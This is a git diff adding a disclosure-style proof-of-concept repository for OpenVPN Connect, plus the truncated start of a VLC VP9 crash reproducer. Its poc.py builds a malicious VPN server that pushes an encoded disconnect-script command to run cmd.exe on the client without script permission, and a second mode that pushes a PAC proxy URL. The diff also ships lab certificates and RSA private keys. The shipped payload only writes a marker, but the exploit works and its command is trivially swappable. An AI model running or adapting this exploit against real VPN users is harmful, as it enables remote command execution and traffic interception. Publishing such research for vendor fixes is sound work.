`3.11.3` +- Windows desktop target + +Follow-up local checks also showed that code running as the current user inside the genuine `OpenVPNConnect.exe` process can reach LocalSystem helper/agent named-pipe handlers that reject arbitrary external clients. That is useful escalation context for impact analysis, but it is not presented here as standalone SYSTEM RCE. + +## Repository Layout + +```text +. +|-- README.md +|-- poc.py +|-- certs/ +| |-- ca.crt +| |-- server.crt +| |-- server.key +| |-- client.crt +| `-- client.key +`-- runtime/ +``` + +`runtime/` is generated locally and git-ignored. The certificates are throwaway lab material only. Do not reuse them for a real VPN. + +## Requirements + +- Python 3.9+ +- OpenVPN 2.x community binary for the local test server +- OpenVPN Connect installed on the Windows target + +The PoC uses Python and `cmd.exe` only. There is no `.ps1` runner. + +If `openvpn.exe` is not on `PATH`, pass it explicitly: + +```cmd +python poc.py --mode server --openvpn "C:\Program Files\OpenVPN\bin\openvpn.exe" +``` + +## Quick Start + +Build the echo-script ACE configs: + +```cmd +python poc.py --mode build --finding echo-script +``` + +Build the PAC auto-config configs: + +```cmd +python poc.py --mode build --finding proxy-auto-config +``` + +Generated files are written under `runtime/`. The client `.ovpn` file is the profile to import into OpenVPN Connect. The server `.ovpn` file is used by the local malicious OpenVPN 2.x test server. + +## Manual Reproduction: Echo Script ACE + +Start the local malicious server: + +```cmd +python poc.py --mode server --finding echo-script --openvpn "C:\Program Files\OpenVPN\bin\openvpn.exe" +``` + +Then: + +1. Import `runtime\client_echo_script_poc.ovpn` into OpenVPN Connect. +2. Connect to the imported `127.0.0.1` profile. +3. Disconnect normally. +4. Check the marker path printed by `poc.py`. + +Expected marker content: + +```text +OPENVPN_CONNECT_ECHO_SCRIPT_ACE +``` + +## Manual Reproduction: PAC Auto-Config + +Start the local malicious server: + +```cmd +python poc.py --mode server --finding proxy-auto-config --openvpn "C:\Program Files\OpenVPN\bin\openvpn.exe" +``` + +Then: + +1. Import `runtime\client_proxy_auto_config_poc.ovpn` into OpenVPN Connect. +2. Connect to the imported `127.0.0.1` profile. +3. While connected, inspect the PAC registry value: + + ```cmd + reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v AutoConfigURL + ``` + +4. Disconnect normally. +5. Query the same value again and confirm cleanup. + +Expected during connection: + +```text +AutoConfigURL REG_SZ http://127.0.0.1:18080/openvpn-connect-ace.pac +``` + +Expected after disconnect: + +```text +ERROR: The system was unable to find the specified registry key or value. +``` + +## Automated Local Reproduction + +Echo-script ACE: + +```cmd +python poc.py --mode auto --finding echo-script --openvpn "C:\Program Files\OpenVPN\bin\openvpn.exe" +``` + +PAC auto-config: + +```cmd +python poc.py --mode auto --finding proxy-auto-config --openvpn "C:\Program Files\OpenVPN\bin\openvpn.exe" +``` + +If OpenVPN Connect is installed elsewhere: + +```cmd +python poc.py --mode auto --finding echo-script --openvpn "C:\Program Files\OpenVPN\bin\openvpn.exe" --connect "C:\Program Files\OpenVPN Connect\OpenVPNConnect.exe" +``` + +`auto` mode imports a disposable profile, connects, captures the relevant marker or proxy state, disconnects, removes the profile, and quits the test-launched Connect process. + +## Evidence To Capture + +For Finding 1: + +- Generated `runtime\server.ovpn` push line containing `echo 0:0:`. +- OpenVPN Connect log line showing `0 [echo] [0:0:...]`. +- Marker file `%TEMP%\openvpn_connect_echo_script_ace_marker.txt`. +- Profile state showing script permissions unset or false. + +For Finding 2: + +- Generated `runtime\server.ovpn` push line containing `dhcp-option PROXY_AUTO_CONFIG_URL`. +- OpenVPN Connect log line showing `0 [dhcp-option] [PROXY_AUTO_CONFIG_URL]`. +- `/tun-setup` log data containing `proxy_auto_config_url.url`. +- Agent log line showing `ProxyAction: auto config`. +- HKCU Internet Settings `AutoConfigURL` before connect, during connect, and after disconnect. + +## Limits + +This PoC does not prove SYSTEM RCE, silent local privilege escalation, persistence, credential access, arbitrary protected-file write, service tampering, or reverse shell execution. + +Finding 1 proves current-user command execution from a malicious server-controlled option on disconnect. + +Finding 2 proves server-controlled PAC state while connected. Depending on product design and user consent expectations, this may be treated as intended VPN server functionality, a missing visibility/consent issue, or an abuse primitive that matters when chained with the trusted-client helper boundary. + +## Fix Direction + +For Finding 1: + +- Do not execute decoded `script.*` echo data unless the corresponding profile script permission flag is explicitly granted. +- Treat server-pushed script-bearing `echo` data as executable configuration. +- Prompt before enabling or running any script received from a VPN server. +- Reject or ignore pushed script keys when profile policy disallows scripts. +- Add regression coverage for `script.win.user.disconnect` where `scriptsPermissionGranted=false`. + +For Finding 2: + +- Make server-pushed proxy/PAC state visible before or during connection. +- Provide policy controls to reject server-pushed proxy configuration from untrusted profiles. +- Ensure cleanup is reliable across disconnect, crash, reconnect, sleep, and agent restart cases. +- Log the origin of the server-pushed PAC URL clearly enough for incident review. + +## Responsible Use + +Use this only on systems you own or are explicitly authorized to test. Keep public demonstrations benign. diff --git a/openvpn-connect-echo-script-ace-poc/certs/ca.crt b/openvpn-connect-echo-script-ace-poc/certs/ca.crt new file mode 100644 index 0000000..a097c42 --- /dev/null +++ b/openvpn-connect-echo-script-ace-poc/certs/ca.crt @@ -0,0 +1,19 @@ +-----BEGIN CERTIFICATE----- +MIIC/TCCAeWgAwIBAgIULMHki/fh5wvSQTgjhs+lY/G1pvUwDQYJKoZIhvcNAQEL +BQAwJjEkMCIGA1UEAwwbQ29kZXggTG9jYWwgT3BlblZQTiBUZXN0IENBMB4XDTI2 +MDYxNjA4NDE0NloXDTI2MDcxNzA4NDE0NlowJjEkMCIGA1UEAwwbQ29kZXggTG9j +YWwgT3BlblZQTiBUZXN0IENBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC +AQEA8+dLm5olw+BdyRJJhq3p3vhXUgPYTIMZmOjNC0gqyHhFmsNwI3gWryCeqE6U +jho5+oSV3mkxnn1DHA0sIul3VCosv1ZP2YG6hMUi9xk55vpOr0dgOz6Z8vE7B938 +SCoM2wjy28i5pySIKIMJieVAPSGsiZl1X/LmTaIVszk8QUe7CnKmWBcz4HMqmSza +m0kYH2K+wv4EOTVuQNqFGTRGunZb0j5HkOBpjV/QSn6SoRnfq7PfkfGbDANTKtLO +Ju5ac8GD414TWssZnWG4eIGa1wxa0RXzRt3rDCNG5Ytlfuje1e96/Yp6g8QpfQou +tXm9LgQknlLc+apDGFHVFwghawIDAQABoyMwITAPBgNVHRMBAf8EBTADAQH/MA4G +A1UdDwEB/wQEAwIBhjANBgkqhkiG9w0BAQsFAAOCAQEAR0bte2XKvL1qgWcCrP6K +Shs0XFwQ8+IyvZfFL1/Dlei9mMbAW8jb2QGyngFgp68gpl7UaEyhV5toWTzg+uiM +mFeQVtgmIv9o6Hb0C+/4VZQbUjYPjtGJ1WFtL5IEgOmOTD7km+z02keS7jKmXjQ/ +qk0mQ6u8H3f3DVNEOE0g/gtGjWnYDJ8GsNjnz1+XDMVlHNFH6seS93SZq8/Bk8Zx +HsRZA3uyjAcxbugGDkp9YPq2BK0e2KyUdD+De+VWL9zFRGqA3blrdvnQl6BEQv2p +m/VBQQOl622XT1GraYwHdR8rSsSTCmXUXJawDpmBUs0nv5XhBmgLoFwOQ0iInM2Y +sA== +-----END CERTIFICATE----- diff --git a/openvpn-connect-echo-script-ace-poc/certs/client.crt b/openvpn-connect-echo-script-ace-poc/certs/client.crt new file mode 100644 index 0000000..c46b689 --- /dev/null +++ b/openvpn-connect-echo-script-ace-poc/certs/client.crt @@ -0,0 +1,19 @@ +-----BEGIN CERTIFICATE----- +MIIDDjCCAfagAwIBAgIUKSx9pC2Z8EgRhgA3Yl4ImxJH/88wDQYJKoZIhvcNAQEL +BQAwJjEkMCIGA1UEAwwbQ29kZXggTG9jYWwgT3BlblZQTiBUZXN0IENBMB4XDTI2 +MDYxNjA4NDE0NloXDTI2MDcxNzA4NDE0NlowJTEjMCEGA1UEAwwaY29kZXgtbG9j +YWwtb3BlbnZwbi1jbGllbnQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB +AQDHEQV+HpmSoaW/cormZPzflv+3TmDsms8Y3S+iklBOhlG0HOVsuFG9hQl6mAS/ +gIAC8ZXbtRuq5sQ+rJcnUDQx1CL6v+XCTtoWcptvtBNKQzKCE1ofDsEKVXwTqW5x +wDan784HEDm1gg2cszSrYStjbc4eFEnmnL10CoIpf7yPHH+CsN2FwJQLXTPbCxgh +9gsRUSt4IjN5P5HcUmrPUyE3TFKxZMUTQdrOcfnxLF2vkzu3xb17iMJbEeEv7S18 +IUurNBblTbM+fAK1sT68rlqPApLdUzE0+Mq/M2hsxAps/aWf4okUuzNiN7ENtJnu +i76qCG2IMPB0mR0+xehC54uRAgMBAAGjNTAzMAwGA1UdEwEB/wQCMAAwDgYDVR0P +AQH/BAQDAgOoMBMGA1UdJQQMMAoGCCsGAQUFBwMCMA0GCSqGSIb3DQEBCwUAA4IB +AQDiWlpfHW0n5DX/cHkX+WIKrfWD6VHtmXLzUSaUdej9KlkgIQJWwfsvSAAGLiv2 +hpqIys/51d4eA7KSozaGmWgCjnQPOIVVeAH+6TUUF/xk9hHTxa/yNlseGveQlDa5 +aboSwuf0uyx875Lyma8wVCPdsXgAQFcYAUyBuh1U8juBGktMigDTvFL6+Jl5T42K +/YGxYKyxXLkefL2ReeLC7JmACDpMfBUftXEg0fj99Z6vL4RVUB7N76gnEC//1vvH +TP61XG1WKmVOPm0AKzoUqy02ZFoN8StileVn24qvV0Tidyc+jezKZ+mtOivYe/sX +xqNL/D9/f2/nzzD+xaoyL1r4 +-----END CERTIFICATE----- diff --git a/openvpn-connect-echo-script-ace-poc/certs/client.key b/openvpn-connect-echo-script-ace-poc/certs/client.key new file mode 100644 index 0000000..d351763 --- /dev/null +++ b/openvpn-connect-echo-script-ace-poc/certs/client.key @@ -0,0 +1,27 @@ +-----BEGIN RSA PRIVATE KEY----- +MIIEowIBAAKCAQEAxxEFfh6ZkqGlv3KK5mT835b/t05g7JrPGN0vopJQToZRtBzl +bLhRvYUJepgEv4CAAvGV27UbqubEPqyXJ1A0MdQi+r/lwk7aFnKbb7QTSkMyghNa +Hw7BClV8E6luccA2p+/OBxA5tYINnLM0q2ErY23OHhRJ5py9dAqCKX+8jxx/grDd +hcCUC10z2wsYIfYLEVEreCIzeT+R3FJqz1MhN0xSsWTFE0HaznH58Sxdr5M7t8W9 +e4jCWxHhL+0tfCFLqzQW5U2zPnwCtbE+vK5ajwKS3VMxNPjKvzNobMQKbP2ln+KJ +FLszYjexDbSZ7ou+qghtiDDwdJkdPsXoQueLkQIDAQABAoIBAARwD7RJEFlheyVy +c0BBnhWJ8zdt6uE7bkR6odY49stZWTbvsfmjfkcAUT7HZsuyHKh0JEgamHxN2rAe +/tukgRVfSkxWvNOBGIGJmod59zgfmV+m+MpadNk7IKH7k/e7Njy2Ltyfcvnl5VHJ ++PGdH+9+girPfvpCIkMU/OPZ8iUqjlrqx3ZO7iyv6EbJJSoKL6HN7HTUbC8ceZPP +LrareHSL4VCcbWGs/cPfj2rc0IN7cNQDQG7kCkAwQAADxPskzUmYkCIgc2iKX1uB +uexsPMGl0bTYWGbQ0/STo81OPkn/zYxlRXC689iqTI9rYiaALLoknnrOK4g06/a6 +H/M+HUUCgYEA+h+8vOv4mmIxixCscvEfxXN494AxUhGpHCPHf7Wbzs2DlDQAMsV6 +SzdzGA7DSlEu/9pUtzib0AoxCYJ3vO9mkIKrYHRPt421Ip90M59ojMLKJ7uCPsor +joL8LxfQKPuRbc4IKdyqtqycXr0mquGdTVRtzTp7ax1eNCjBDqK45PsCgYEAy744 +kqe67JYOlCsEw9KBhZMPAH8PBC4srhe7A06Z3NYDSu6hubX4uJ2Y2hm9d4tBqR/W +OZOexcT2iXtisQv6nJmUJkmj0zc1+/fpCVYEPUJlCcRp33cG7HAnCYFzg3s4FL2P +Dhc6nV4lLp5c8mZpwmgd7xRMJy4mB3YGe9E7s+MCgYEAp/Yx/seTDNENpe4Pb6w+ +ApDVVZaPCCZ14kCgkkD5HPli912oGHAF/IaC0k/vknNL1WHe656m+yAs587l60j0 +HeyxercAZSlSzqo3FQdh5MxVhjLjdpi6gRuyj0k1bp/oe80ULFBTjxIAe5oXYj7Z +K/mbNmqkQDzbarlHUzWwZYsCgYAq9S6EbW0SGQl14CQfDbFVco5FMoT+AqZVBpfd +uKLkVxNWpz3eJCoO8tuZkLfMDsaHXDkU5rUhScgZcLR8U+RBRHhiIkCydf+h4sF1 +wHcgW3FmP8162mPRUkxIysyKOl62sMkK1Yb8Sy9Xxvgd+83suXsmP4dW83n9NLtl +O9Z0tQKBgBEcFB/ihPTnK84PRG2hgj9UZeedBz/YLmXka+IL5Inro2YExz4guJbF +lIOC8FHPu0Jtn88jv2fHELbAzH7s0wo57qitn3SAbGT4qZO1xWf+b1LBILEG+h1m +kFg2nnS5GHlSpvlKaQP8mWBz72B/K1upuglDsh5rCKEoEHI59kQP +-----END RSA PRIVATE KEY----- diff --git a/openvpn-connect-echo-script-ace-poc/certs/server.crt b/openvpn-connect-echo-script-ace-poc/certs/server.crt new file mode 100644 index 0000000..7b8289f --- /dev/null +++ b/openvpn-connect-echo-script-ace-poc/certs/server.crt @@ -0,0 +1,19 @@ +-----BEGIN CERTIFICATE----- +MIIDDjCCAfagAwIBAgIUDV31jStGllh34UCOwjGtHKPy+9QwDQYJKoZIhvcNAQEL +BQAwJjEkMCIGA1UEAwwbQ29kZXggTG9jYWwgT3BlblZQTiBUZXN0IENBMB4XDTI2 +MDYxNjA4NDE0NloXDTI2MDcxNzA4NDE0NlowJTEjMCEGA1UEAwwaY29kZXgtbG9j +YWwtb3BlbnZwbi1zZXJ2ZXIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB +AQDKpJwEdvRy2/iFI4hTp+Hx5VDhzvKvM4sZb+QWHhabFab/N6vcykrFRuUDmoKW +Hff6l3pP44fpvYctPdbZ8B+Aov0cOyKwjcPY7Xqaa337ZutwrHlxFclRcOX5eaKG +3IxLybd8MJvrWmaJVOvVimgfJyWoN9NctnKLwmobgWV5GYXeTOrNBRI8ccTUf/M0 +hDtWhl4Grh3DSQQ+99+i6FCRWI+JOQFnSEo0Vyi+ZaLDKvu1tSkqhcikyovpPuYF ++onl6CWSt383LsMhzhKG8NDrB3/1r05X0UKnClNkIzMa2hxikM4qyzZ82OH9IDcm +ipj2AQvb91/40HdB/mTZUoWpAgMBAAGjNTAzMAwGA1UdEwEB/wQCMAAwDgYDVR0P +AQH/BAQDAgOoMBMGA1UdJQQMMAoGCCsGAQUFBwMBMA0GCSqGSIb3DQEBCwUAA4IB +AQBdOfjQ+F6NG3T6jHqkdtTCTCz31p7SPRoRlpIaVn+0g3cGdsWaUh3sX81VWKKg +H+nfM6UYJFu9HtokM0hocC4jWPqR7RyRaNO9mgj/PUCbQlwwTqxRE5SwuNQ2O0O6 +v8f+i6mRLLC7VqYWWeqBdcVmKmeyvVMwmQ0EohZ0Aj02B0lMoSdLP/w/KEGNpNt+ +AanChD5xSB6jx2mnUcT9NzuzbFjkpRUQpiBKE+OBywpZwpeWuA1kmWUgCUKL57Wz +2w8NqQv/elONmXuD0wk6TkxgAqRvH7+QgOV0oLYEfE3e8cUxkqK4zVEPV05hwG4K +Dl9W0pKsg/qPc7SRKKugUHYk +-----END CERTIFICATE----- diff --git a/openvpn-connect-echo-script-ace-poc/certs/server.key b/openvpn-connect-echo-script-ace-poc/certs/server.key new file mode 100644 index 0000000..1df0b8b --- /dev/null +++ b/openvpn-connect-echo-script-ace-poc/certs/server.key @@ -0,0 +1,27 @@ +-----BEGIN RSA PRIVATE KEY----- +MIIEowIBAAKCAQEAyqScBHb0ctv4hSOIU6fh8eVQ4c7yrzOLGW/kFh4WmxWm/zer +3MpKxUblA5qClh33+pd6T+OH6b2HLT3W2fAfgKL9HDsisI3D2O16mmt9+2brcKx5 +cRXJUXDl+XmihtyMS8m3fDCb61pmiVTr1YpoHyclqDfTXLZyi8JqG4FleRmF3kzq +zQUSPHHE1H/zNIQ7VoZeBq4dw0kEPvffouhQkViPiTkBZ0hKNFcovmWiwyr7tbUp +KoXIpMqL6T7mBfqJ5eglkrd/Ny7DIc4ShvDQ6wd/9a9OV9FCpwpTZCMzGtocYpDO +Kss2fNjh/SA3JoqY9gEL2/df+NB3Qf5k2VKFqQIDAQABAoIBAAIc7bfBkZKLI5h5 +Eb8NkKxPklpw16wIpLbhSvXg7B+h3EWbUsrQ5xQqD2XnRiBDBMoYkCefNM201Dik +98xY6hzc2ZbN+0NAPeoiNNjcakoysxAaIVrjrFHwBs1yujE6cI6YEVgLbsPwA7Gy +eq0p4ILNmKTSFUDdml8dOs4Dq9GEeuouDEUGKseC4X7MFM9V7DEZ+hkPUZOUDEz/ +Bs68el3DFbaVijPPPlT82IETGVLr4LjSHXtfK6zUcL5x5fEMxk7sdxsUWuuWqPkT +8Vuqj+EdyKvH58lzbJQK+yZd6eKGhZa92W9UIFSAbWPw7G2MVCCkmJk8HXzkv/+l +KET+ZaECgYEA6YqF6/QsieDru2xthUvkFtszrvam5kg9YdPJs8v5HdZlvQklgzOP +utLuEOI0n10w9LfFhPIFmzKbo6sRzORaMk7Ogw2cWJnX6QL+uqNV9YDOKpH8rRaR +/Z7kMHjZyQTdoHSy3BuFDSOoDWGbG8byY6tolIokC7pQPBEaHIxHj5sCgYEA3iFq +WztN9ZbrPU2IzA6P1iOFYRv1Wgr/sSt4xf5mB+8qnpyrQKdtn56GRFTE20mHaROW +NkawU9qPFiqS7XBr5l9T8gesinr+Eyj0woFJ37cgX4dx4oVyUxypW1sJR9nlQSx1 +7wQK0v280bWL6K7O8c/si7DoUBSm75FiqIAsrgsCgYEAt/ZOF9d3XgS2rCR1ARMO +0JJK2/+e6Lbu4yiZMe/yg/ZmncmeqwLqrReKP/Jv0TjvX1WDWX3rvJzYzMvscaFP +C2HYepM2HPTShtG9JfeTtpeHzzDAAPhOd6G5zhTkONyEV+iVG5zx6a+0qRXBwNeu +B6T19Ev8qOBSY351OxelJxECgYBRieCZtq5KXWjiquhxR1MjXwyh9fpdYDY12ehO +fbEEbpWtfYMbi5ohArb0tE1C1b3gI3F7YP1u+oaVs3EVubPR7+JHsOt0Neu4KsuV +7pGojndSucxjQ2sQ+S9tuoAwoNqXzvNHlqtGgh/itwqxkiGjABkrufe9Faelvy+A +/PPpuwKBgFTmzFs33q7DCzM/Ac4SsJCdV5HdTmMKMhHLeH8OuA3YbZNp4K39EeM3 +DzuIYk/LNTqc1c5Lmh0FuhpmuC/SFJ7n+sAr5JVKbzEEEveitsTaa92iUR0bqlm+ +0p9ZuKGYiBlE3ioSEPNV6AXVFQol6BWOEebT6jeGqpq0+1/CwtyV +-----END RSA PRIVATE KEY----- diff --git a/openvpn-connect-echo-script-ace-poc/poc.py b/openvpn-connect-echo-script-ace-poc/poc.py new file mode 100644 index 0000000..2698ea6 --- /dev/null +++ b/openvpn-connect-echo-script-ace-poc/poc.py @@ -0,0 +1,363 @@ +from __future__ import annotations + +import argparse +import base64 +import json +import os +import shutil +import signal +import subprocess +import sys +import tempfile +import time +from pathlib import Path + + +ROOT = Path(__file__).resolve().parent +CERT_DIR = ROOT / "certs" +RUNTIME_DIR = ROOT / "runtime" +DEFAULT_PORT = 11940 +DEFAULT_MARKER_NAME = "openvpn_connect_echo_script_ace_marker.txt" +PROFILE_NAME_PREFIX = "openvpn-connect-pushed-option-poc" +FINDING_ECHO_SCRIPT = "echo-script" +FINDING_PROXY_AUTO_CONFIG = "proxy-auto-config" +DEFAULT_PAC_URL = "http://127.0.0.1:18080/openvpn-connect-ace.pac" + + +def b64(text: str) -> str: + return base64.b64encode(text.encode("utf-8")).decode("ascii") + + +def ovpn_path(path: Path) -> str: + return str(path.resolve()).replace("\\", "/") + + +def read_text(path: Path) -> str: + return path.read_text(encoding="ascii") + + +def require_file(path: Path) -> None: + if not path.is_file(): + raise FileNotFoundError(f"Required file is missing: {path}") + + +def default_marker_path() -> Path: + return Path(tempfile.gettempdir()) / DEFAULT_MARKER_NAME + + +def default_connect_exe() -> Path | None: + env = os.environ.get("OPENVPN_CONNECT_EXE") + if env: + return Path(env) + candidate = Path(r"C:\Program Files\OpenVPN Connect\OpenVPNConnect.exe") + return candidate if candidate.is_file() else None + + +def default_openvpn_exe() -> str | None: + env = os.environ.get("OPENVPN_EXE") + if env: + return env + found = shutil.which("openvpn.exe") or shutil.which("openvpn") + if found: + return found + candidate = Path(r"C:\Program Files\OpenVPN\bin\openvpn.exe") + return str(candidate) if candidate.is_file() else None + + +def build_payload_command(marker: Path) -> str: + marker_text = str(marker) + if '"' in marker_text: + raise ValueError("Marker path must not contain a double quote") + return f'cmd.exe /c echo OPENVPN_CONNECT_ECHO_SCRIPT_ACE>"{marker_text}"' + + +def build_server_config(port: int, finding: str, command: str, pac_url: str) -> str: + if finding == FINDING_ECHO_SCRIPT: + key = b64("script.win.user.disconnect") + value = b64(command) + pushes = [f'push "echo 0:0:{key}.{value}"'] + else: + pushes = [f'push "dhcp-option PROXY_AUTO_CONFIG_URL {pac_url}"'] + + return "\n".join( + [ + f"port {port}", + "proto tcp-server", + "dev null", + "mode server", + "tls-server", + f'ca "{ovpn_path(CERT_DIR / "ca.crt")}"', + f'cert "{ovpn_path(CERT_DIR / "server.crt")}"', + f'key "{ovpn_path(CERT_DIR / "server.key")}"', + "dh none", + "server 10.88.0.0 255.255.255.0", + "topology subnet", + "keepalive 1 3", + "duplicate-cn", + *pushes, + 'push "ping 1"', + 'push "ping-restart 3"', + "verb 4", + f'status "{ovpn_path(RUNTIME_DIR / "server.status")}"', + f'log "{ovpn_path(RUNTIME_DIR / "server.log")}"', + "", + ] + ) + + +def build_client_config(port: int) -> str: + return "\n".join( + [ + "client", + "dev tun", + "proto tcp-client", + f"remote 127.0.0.1 {port}", + "nobind", + "persist-key", + "persist-tun", + "remote-cert-tls server", + "auth SHA256", + "cipher AES-256-GCM", + "data-ciphers AES-256-GCM:AES-128-GCM:CHACHA20-POLY1305", + "verb 4", + "connect-retry-max 1", + "resolv-retry 1", + "", + read_text(CERT_DIR / "ca.crt").strip(), + "", + "", + read_text(CERT_DIR / "client.crt").strip(), + "", + "", + read_text(CERT_DIR / "client.key").strip(), + "", + "", + ] + ) + + +def build_configs(port: int, marker: Path, finding: str, pac_url: str) -> tuple[Path, Path, str]: + for name in ["ca.crt", "server.crt", "server.key", "client.crt", "client.key"]: + require_file(CERT_DIR / name) + RUNTIME_DIR.mkdir(exist_ok=True) + command = build_payload_command(marker) if finding == FINDING_ECHO_SCRIPT else "" + server_config = RUNTIME_DIR / "server.ovpn" + client_config = RUNTIME_DIR / f"client_{finding.replace('-', '_')}_poc.ovpn" + server_config.write_text(build_server_config(port, finding, command, pac_url), encoding="ascii") + client_config.write_text(build_client_config(port), encoding="ascii") + detail = command if finding == FINDING_ECHO_SCRIPT else pac_url + return server_config, client_config, detail + + +def run(args: list[str], check: bool = False) -> subprocess.CompletedProcess[str]: + completed = subprocess.run( + args, + text=True, + stdout=subprocess.PIPE, + stderr=subprocess.STDOUT, + check=False, + ) + if check and completed.returncode != 0: + raise RuntimeError( + f"Command failed with exit {completed.returncode}: {' '.join(args)}\n{completed.stdout}" + ) + return completed + + +def start_server(openvpn_exe: str, server_config: Path) -> subprocess.Popen[bytes]: + stdout = open(RUNTIME_DIR / "server.stdout.txt", "wb") + stderr = open(RUNTIME_DIR / "server.stderr.txt", "wb") + proc = subprocess.Popen( + [openvpn_exe, "--config", str(server_config)], + cwd=str(RUNTIME_DIR), + stdout=stdout, + stderr=stderr, + ) + time.sleep(2) + if proc.poll() is not None: + raise RuntimeError( + "OpenVPN server exited early. Check runtime/server.log and " + "runtime/server.stderr.txt for details." + ) + return proc + + +def stop_process(proc: subprocess.Popen[bytes] | None) -> None: + if not proc or proc.poll() is not None: + return + if os.name == "nt": + proc.terminate() + else: + proc.send_signal(signal.SIGTERM) + try: + proc.wait(timeout=5) + except subprocess.TimeoutExpired: + proc.kill() + + +def connect_cli(connect_exe: Path, *args: str) -> subprocess.CompletedProcess[str]: + return run([str(connect_exe), *args]) + + +def list_profiles(connect_exe: Path) -> list[dict]: + output = connect_cli(connect_exe, "--list-profiles").stdout.strip() + if not output: + return [] + try: + data = json.loads(output) + return data if isinstance(data, list) else [] + except json.JSONDecodeError: + return [] + + +def import_profile(connect_exe: Path, client_config: Path, profile_name: str) -> str: + before = {item.get("id") for item in list_profiles(connect_exe)} + completed = connect_cli( + connect_exe, + f"--import-profile={client_config}", + f"--name={profile_name}", + ) + text = completed.stdout.strip() + if text: + try: + parsed = json.loads(text) + profile_id = parsed.get("message", {}).get("id") + if profile_id: + return str(profile_id) + except json.JSONDecodeError: + pass + + time.sleep(2) + for item in list_profiles(connect_exe): + if item.get("id") not in before and item.get("name") == profile_name: + return str(item["id"]) + raise RuntimeError(f"Could not determine imported profile id. Import output:\n{text}") + + +def proxy_state() -> dict[str, object | None]: + if os.name != "nt": + return {} + import winreg + + path = r"Software\Microsoft\Windows\CurrentVersion\Internet Settings" + names = ["AutoConfigURL", "ProxyEnable", "ProxyServer", "ProxyOverride"] + state: dict[str, object | None] = {} + with winreg.OpenKey(winreg.HKEY_CURRENT_USER, path) as key: + for name in names: + try: + state[name] = winreg.QueryValueEx(key, name)[0] + except FileNotFoundError: + state[name] = None + return state + + +def auto_mode( + openvpn_exe: str, + connect_exe: Path, + server_config: Path, + client_config: Path, + marker: Path, + finding: str, +) -> None: + if finding == FINDING_ECHO_SCRIPT and marker.exists(): + marker.unlink() + + server = None + profile_id = None + profile_name = f"{PROFILE_NAME_PREFIX}-{finding}-{int(time.time())}" + before_proxy = proxy_state() if finding == FINDING_PROXY_AUTO_CONFIG else {} + try: + connect_cli(connect_exe, "--quit") + time.sleep(2) + server = start_server(openvpn_exe, server_config) + profile_id = import_profile(connect_exe, client_config, profile_name) + connect_cli(connect_exe, f"--connect-shortcut={profile_id}", "--minimize") + print(f"[+] Imported profile id: {profile_id}") + print("[+] Waiting for connect and server-pushed option handling...") + time.sleep(16) + + if finding == FINDING_PROXY_AUTO_CONFIG: + print("[+] Proxy state before connect:") + print(json.dumps(before_proxy, indent=2)) + print("[+] Proxy state during connection:") + print(json.dumps(proxy_state(), indent=2)) + + connect_cli(connect_exe, "--disconnect-shortcut") + time.sleep(4) + + if finding == FINDING_ECHO_SCRIPT and marker.is_file(): + print(f"[+] Marker created: {marker}") + print(marker.read_text(encoding="utf-8", errors="replace").strip()) + elif finding == FINDING_ECHO_SCRIPT: + print(f"[-] Marker was not created: {marker}") + print(" Check OpenVPN Connect logs and runtime/server.log.") + else: + print("[+] Proxy state after disconnect:") + print(json.dumps(proxy_state(), indent=2)) + finally: + if profile_id: + connect_cli(connect_exe, f"--remove-profile={profile_id}") + connect_cli(connect_exe, "--quit") + stop_process(server) + + +def server_mode(openvpn_exe: str, server_config: Path, client_config: Path, marker: Path, finding: str, pac_url: str) -> None: + print(f"[+] Client profile: {client_config}") + if finding == FINDING_ECHO_SCRIPT: + print(f"[+] Marker path after disconnect: {marker}") + else: + print(f"[+] Pushed PAC URL: {pac_url}") + print("[+] Starting local malicious OpenVPN server. Press Ctrl+C to stop.") + server = start_server(openvpn_exe, server_config) + try: + while True: + time.sleep(1) + except KeyboardInterrupt: + print("\n[+] Stopping server...") + finally: + stop_process(server) + + +def main() -> int: + parser = argparse.ArgumentParser( + description="Benign OpenVPN Connect server-pushed option PoC without PowerShell." + ) + parser.add_argument("--mode", choices=["build", "server", "auto"], default="build") + parser.add_argument("--finding", choices=[FINDING_ECHO_SCRIPT, FINDING_PROXY_AUTO_CONFIG], default=FINDING_ECHO_SCRIPT) + parser.add_argument("--port", type=int, default=DEFAULT_PORT) + parser.add_argument("--marker", type=Path, default=default_marker_path()) + parser.add_argument("--pac-url", default=DEFAULT_PAC_URL) + parser.add_argument("--openvpn", default=default_openvpn_exe(), help="Path to OpenVPN 2.x openvpn executable") + parser.add_argument("--connect", type=Path, default=default_connect_exe(), help="Path to OpenVPNConnect.exe") + args = parser.parse_args() + + server_config, client_config, detail = build_configs(args.port, args.marker, args.finding, args.pac_url) + print(f"[+] Wrote {server_config}") + print(f"[+] Wrote {client_config}") + if args.finding == FINDING_ECHO_SCRIPT: + print(f"[+] Pushed disconnect command: {detail}") + else: + print(f"[+] Pushed PAC URL: {detail}") + + if args.mode == "build": + print("[+] Build-only mode complete.") + return 0 + + if not args.openvpn: + print("[-] Could not find OpenVPN 2.x. Pass --openvpn or set OPENVPN_EXE.", file=sys.stderr) + return 2 + + if args.mode == "server": + server_mode(args.openvpn, server_config, client_config, args.marker, args.finding, args.pac_url) + return 0 + + if not args.connect or not args.connect.is_file(): + print("[-] Could not find OpenVPN Connect. Pass --connect or set OPENVPN_CONNECT_EXE.", file=sys.stderr) + return 2 + + auto_mode(args.openvpn, args.connect, server_config, client_config, args.marker, args.finding) + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/vlc-vp9-reschange-crash-poc/.gitignore b/vlc-vp9-reschange-crash-poc/.gitignore new file mode 100644 index 0000000..6201e3f --- /dev/null +++ b/vlc-vp9-reschange-crash-poc/.gitignore @@ -0,0 +1,4 @@ +*.ivf +__pycache__/ +.pytest_cache/ +*.pyc diff --git a/vlc-vp9-reschange-crash-poc/README.md b/vlc-vp9-reschange-crash-poc/README.md new file mode 100644 index 0000000..11f0f63 --- /dev/null +++ b/vlc-vp9-reschange-crash-poc/README.md @@ -0,0 +1,101 @@ +# VLC VP9 Resolution-Change Crash PoC + +This repository contains a small Python reproducer for a VLC 3.0.23 Windows VP9 decoder crash condition. + +Research status: incomplete and continuing. + +## Summary + +The PoC writes a 405-byte VP9 IVF file with two frames: + +- frame 1: `64x64` +- frame 2: `64x8192` + +The important detail is that the second frame changes the frame height while keeping the VP9 tile-column layout stable. In VLC 